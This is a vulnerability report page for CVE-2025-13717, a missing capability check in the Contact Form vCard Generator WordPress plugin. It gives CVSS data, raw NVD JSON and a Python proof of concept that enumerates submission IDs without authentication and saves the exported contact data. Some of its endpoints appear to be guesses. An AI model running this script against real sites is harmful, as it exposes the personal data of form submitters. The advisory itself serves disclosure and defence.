Security Vulnerability Report
中文
CVE-2025-13717 CVSS 5.3 MEDIUM

CVE-2025-13717

Published: 2026-01-09 12:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Contact Form vCard Generator plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'wp_gvccf_check_download_request' function in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to export sensitive Contact Form 7 submission data via the 'wp-gvc-cf-download-id' parameter, including names, phone numbers, email addresses, and messages.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Contact Form vCard Generator WordPress插件 <= 2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-13717 PoC - Contact Form vCard Generator Unauthorized Data Access # Target: WordPress site with Contact Form vCard Generator plugin <= 2.4 def exploit_cve_2025_13717(target_url): """ Exploit for CVE-2025-13717: Missing authorization in wp_gvccf_check_download_request This PoC demonstrates how an unauthenticated attacker can export sensitive form data. """ # Vulnerable endpoint - the download function is accessible without authentication vulnerable_endpoint = f"{target_url}/wp-admin/admin-post.php" # Try to download form submission data by manipulating the download-id parameter # The plugin exports Contact Form 7 data including names, emails, phones, and messages for submission_id in range(1, 100): # Iterate through potential submission IDs params = { 'action': 'wp_gvccf_download', 'wp-gvc-cf-download-id': submission_id } try: response = requests.get(vulnerable_endpoint, params=params, timeout=10) # Check if we got a successful response with data if response.status_code == 200 and len(response.content) > 0: print(f"[!] Successfully accessed submission ID: {submission_id}") print(f"Content-Type: {response.headers.get('Content-Type')}") print(f"Content length: {len(response.content)} bytes") # Save the exported data filename = f"exported_data_{submission_id}.vcf" with open(filename, 'wb') as f: f.write(response.content) print(f"[+] Data saved to {filename}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing submission {submission_id}: {e}") # Alternative: Direct download URL pattern sometimes used by the plugin def exploit_direct_download(target_url): """ Some versions may use a different URL pattern for downloads """ direct_urls = [ f"{target_url}/?wp-gvc-cf-download-id=1", f"{target_url}/wp-content/plugins/contact-form-vcard-generator/download.php?id=1", ] for url in direct_urls: try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[!] Direct download worked: {url}") except: pass if __name__ == "__main__": target = "http://target-wordpress-site.com" print(f"[*] Exploiting CVE-2025-13717 on {target}") exploit_cve_2025_13717(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13717", "sourceIdentifier": "[email protected]", "published": "2026-01-09T12:15:51.740", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Contact Form vCard Generator plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'wp_gvccf_check_download_request' function in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to export sensitive Contact Form 7 submission data via the 'wp-gvc-cf-download-id' parameter, including names, phone numbers, email addresses, and messages."}, {"lang": "es", "value": "El plugin Contact Form vCard Generator para WordPress es vulnerable a acceso no autorizado a datos debido a una comprobación de capacidad faltante en la función 'wp_gvccf_check_download_request' en todas las versiones hasta la 2.4, inclusive. Esto hace posible que atacantes no autenticados exporten datos sensibles de envíos de Contact Form 7 a través del parámetro 'wp-gvc-cf-download-id', incluyendo nombres, números de teléfono, direcciones de correo electrónico y mensajes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contact-form-vcard-generator/tags/2.4/includes/wp-gvc-cf-settings.php#L105", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-vcard-generator/tags/2.4/includes/wp-gvc-cf-settings.php#L13", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-vcard-generator/trunk/includes/wp-gvc-cf-settings.php#L105", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contact-form-vcard-generator/trunk/includes/wp-gvc-cf-settings.php#L13", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bdde4399-af90-4528-92a4-5176dfa5e453?source=cve", "source": "[email protected]"}]}}